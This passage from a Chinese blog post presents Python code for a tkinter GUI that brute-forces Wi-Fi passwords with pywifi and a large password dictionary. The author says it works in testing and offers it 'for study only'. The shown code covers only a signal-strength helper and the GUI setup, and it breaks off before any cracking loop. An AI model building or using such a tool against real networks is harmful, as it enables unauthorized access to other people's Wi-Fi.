最近闲来无事,学习了一下tkinter,写了一个客户端GUI暴力破解wifi,实测可行,但是效率不高,毕竟几个G的字典数据,电脑是单网卡也不能实现并发爆破,能破解全看缘分,此篇文章仅供学习交流,话不多说,上代码。
import pywifi
import csv,os
from pywifi import const
import tkinter as tk
from tkinter import ttk
import time
import tkinter.filedialog
import tkinter.messagebox
def signall_level(signal):
"""
根据信号值判断信号强度等级,信号最强为4
0 rssi<=-100
1 (-100, -88]
2 (-88, -77]
3 (-66, -55]
4 rssi>=-55
:return:
"""
level = 0
signal = signal
if isinstance(signal, int):
if signal < -100:
level = 0
elif signal >= -100 and signal < -88:
level = 1
elif signal >= -88 and signal < -77:
level = 2
elif signal >= -77 and signal < -55:
level = 3
else:
level = 4
return level
else:
return "信号格式错误"
class WifiGetGui():
def __init__(self):
self.window=tk.Tk()
self.window.title("WIFI暴力破解")
self.window.geometry("1050x560")
self.log_text=None
self.crack_button=None
#定义wifi名称
self.wifi_value = tk.StringVar()
#定义字典的路径
self.secret_path=tk.StringVar()
#定义每次连接间隔时间
self.interval_time=tk.StringVar()
#破解后的密码
self.crack_pwd=tk.StringVar()
def set_window(self):
# #定义WIFI搜索栏的FRAME
search_frame=tk.LabelFrame(self.window,text="附近的WIFI",font=('Arial',10))
search_frame.place(relx=0.23,rely=0.5,width=450, height=540,anchor="center")
# # search_frame.grid(column=0, row=0, padx=10, pady=0,columnspan=4)
# #定义wifi搜索按钮
button_search = tk.Button(search_frame, text="搜索附近WiFi", font=('Arial',10),command=self.get_wifi)
button_search.place(relx=0,rely=0,width=150,anchor="nw",bordermode='inside')
#
#
#
# #创建列表frame
wifi_list_frame = tk.LabelFrame(search_frame,text="WIFI列表",font=('Arial',10),width=446, height=476)
wifi_list_frame.place(relx=0,rely=0.08,anchor="nw",bordermode='inside')
#
#
# #创建列表与滚动条
self.wifi_tree=ttk.Treeview(wifi_list_frame,show="headings",height=20,columns=('num','name','bssid','sign